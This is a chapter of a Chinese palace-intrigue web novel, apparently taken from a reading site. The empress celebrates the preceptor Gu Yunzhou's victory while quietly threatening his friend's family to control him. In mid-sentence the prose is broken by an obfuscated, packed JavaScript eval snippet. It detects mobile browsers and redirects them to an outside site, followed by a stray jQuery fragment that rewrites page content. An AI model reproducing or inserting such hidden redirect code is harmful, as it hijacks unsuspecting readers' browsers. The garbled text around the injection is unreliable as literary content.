兵部尚书王德发,前几天还在朝堂上抱着柱子哭嚎的老头,此刻正捏着战报,手抖得像刚道过一样。
“王、王尚书,到底,到底如何了?”一个胆子大的言官颤声问道。
王德猛地一抬头,那张老脸写满了不敢置信。
他嘶吼出声,声音都破了。
“捷!大捷!
“以驯虎营三百人为代价,全歼大秦精锐‘猎狼军’一万!俘虏近七千!”
所有文武百官,有一个算一个,全都傻了。
三百换一万?还搭上七千个俘虏?
这**是战报还是神话故事?你确定不是把双方的伤亡写反了?
一个武将下意识地揉了揉自己的耳朵,怀疑自己征战半生,是不是对“胜利”这个词有什么误解。
可那份盖着西境随军监军和驯虎营统领双重印信的战报,就那么明晃晃地摆在那。
事实,不容置疑。
一时间,整个太和殿,再无人敢言。
所有人的目光,都下意识地投向了龙椅之上的那位。
……
神京城沸了。
当胜利的消息从宫中传出,整个城市都陷入了狂欢的海洋。
酒馆里的酒客把酒钱拍在桌上,高喊着“今日酒水,全算我的,为国师贺!”;街边的孩童追逐打闹,嘴里唱的不再是童谣,而是含混不清的“军神无敌”;
就连深闺中的女子,也忍不住掀开窗帘一角,想看看那位传说中能撒豆成兵的国师大人,究竟是何等模样。
顾云舟这个名字,在这一日,被神化了。
而作为本人的顾云舟,此刻正坐在庆功宴的主位上,有些头疼地看着眼前这张过分灿烂的笑脸。
“先生,此战能胜,全赖先生运筹帷幄。青鸾敬先生一杯。”
萧青鸾亲自为他斟满了酒,声音娇软,眼神亮晶晶的,充满了毫不掩饰的爱慕与崇拜。
她笑得那么甜,那么真诚,好像又变回了落霞谷那个一心依赖着他的小丫头。
周围的文武百官,更是把谄媚。
“国师大人真乃天神下凡啊!”
“有国师在,我大炎何愁不兴!”
顾云舟微笑着举杯,与女帝的酒杯轻轻一碰,一饮而尽。姿态儒雅,无可挑剔。
只是,....
演。
接着演。
这演技,不去横店领个盒饭都屈才了。
他能清晰地感觉到,萧青鸾给他斟酒时,那微凉的指尖触碰到他手背时,带来的一丝若有若无的寒意。
她的笑容很完美,但却让他感觉有点不对劲。
宴会的气氛热烈而融洽。
顾云舟应付着一波又一波前来敬酒的大臣,谈笑风生,滴水不漏。
可他的心,却越来越沉。
终于,宴席散去。
百官们心满意足地离去,准备回家好好回味一下,今天又是如何精准地拍到了军神的马屁。
萧青鸾也站了起来。
往常,她总会找各种借口,在国师府多留一会儿,或是探讨政务,或是批阅奏折,名为勤政,实为监视。
但今天,她没有。
她只是看了顾云舟一眼,
然后,她柔声说道:“先生辛苦了,早些歇息。”
说完,她便带着宫人,转身离去。
没有丝毫留恋。
顾云舟站在原地,脸上的笑容缓缓消失。
不对劲。
十分有十二分的不对劲。
这感觉,就像一个猎人,看着自己养的猎鹰越飞越高,高到快要挣脱自己手中的绳线时,非但没有焦虑,反而露出了一个温柔的微笑。
这不正常。
除非,她找到了新的,能把猎鹰从天上拽下来的法子。
夜深了。
国师府的书房内,灯火通明。
顾云舟独自一人坐在书案后,手指无意识地敲击着桌面。
窗外庆贺的喧嚣还未完全散去,但在此刻的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16196125|181177||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他听来,却显得格外遥远和虚幻。
“国师大人,该歇息了。”
喜公公端着一碗安神的莲子羹,迈着小碎步走了进来,脸上堆着谦卑的笑。
他将羹汤放在桌上,然后开始手脚麻利地收拾起散乱的竹简。
顾云舟没有看他,只是淡淡地“嗯”了一声。
喜公公的身子几不可查地抖了一下。
他走到顾云舟身边,弯腰去拾一枚掉落在地上的竹简时,整个身子都挡住了门口的视线。
他的动作很快,声音压得比蚊子哼哼还轻,几乎是从牙缝里挤出来的。
“陛下……今日下午,秘密召见了玄鸟卫中,负责监视苏长青大人一家老小的那个暗桩。”
说完,他像是被火烫了一下,飞快地直起身子,抱着一堆竹简,头也不回地退了出去。
书房内,再次恢复了寂静。
顾云舟敲击桌面的手指,停住了。
他缓缓端起那碗莲子羹,入手温热。
秘密召见。
监视苏长青家小的暗桩。
他脑中瞬间闪过宴会上萧青鸾那过分灿烂的笑容,那转身离去时意味深长的眼神。
所有线索,在这一刻。
原来如此。
她终于明白了。
用武力,用权谋,用囚笼,都无法真正困住他。
于是,她换了一种方法。
她不再试图造一个更坚固的笼子。
而是选择,将一把刀,悄悄地架在了软肋上。
苏长青。
他一手提拔的朝堂栋梁,也是他在这世界里,为数不多的,可以称之为朋友的人。
她这是在告诉他。
先生,你的翅膀是硬了,可以翱翔九天。
可是你的心,你的软肋,还握在我的手心里啊。
顾云舟将那碗莲子羹举到唇边,轻轻吹了口气,然后一饮而尽。
甜得,有些发腻。
(那就又萝又御吧)